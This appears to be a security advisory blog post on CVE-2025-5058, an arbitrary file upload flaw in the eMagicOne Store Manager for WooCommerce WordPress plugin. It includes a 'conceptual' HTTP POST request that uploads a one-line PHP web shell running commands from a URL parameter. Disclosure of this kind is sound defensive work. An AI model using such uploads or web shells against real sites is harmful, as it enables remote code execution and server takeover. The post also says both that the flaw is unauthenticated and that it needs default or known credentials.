Overview
This blog post is dedicated to the examination of a critical vulnerability, CVE-2025-5058, affecting the eMagicOne Store Manager for WooCommerce plugin for WordPress. This plugin is widely used for managing online stores, and the vulnerability can have severe consequences if exploited. In particular, it allows unauthenticated attackers to upload arbitrary files to a site’s server, potentially leading to remote code execution. It’s a high-risk issue due to its potential for complete system compromise or data leakage.

eMagicOne Store Manager for WooCommerce | Up to and including 1.2.5
How the Exploit Works
The vulnerability resides in the set_image() function of the eMagicOne Store Manager for WooCommerce plugin. This function is responsible for uploading images to a store’s server. However, due to a lack of proper file type validation, it can be exploited to upload arbitrary files, including malicious ones.
Attackers can exploit this vulnerability by sending a crafted HTTP request that includes the file upload. If the server is using a default configuration with default password set as 1:1, or if the attacker has access to the credentials, the server will accept the request and store the malicious file. This file can then be used to execute arbitrary code on the server.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited:
POST /set_image HTTP/1.1
Host: vulnerable-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, an HTTP POST request is sent to the vulnerable endpoint, /set_image. The payload includes a PHP file that, when executed, runs a command passed in via the cmd GET parameter.
To mitigate this threat, it’s recommended to apply the vendor patch as soon as it’s available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection.
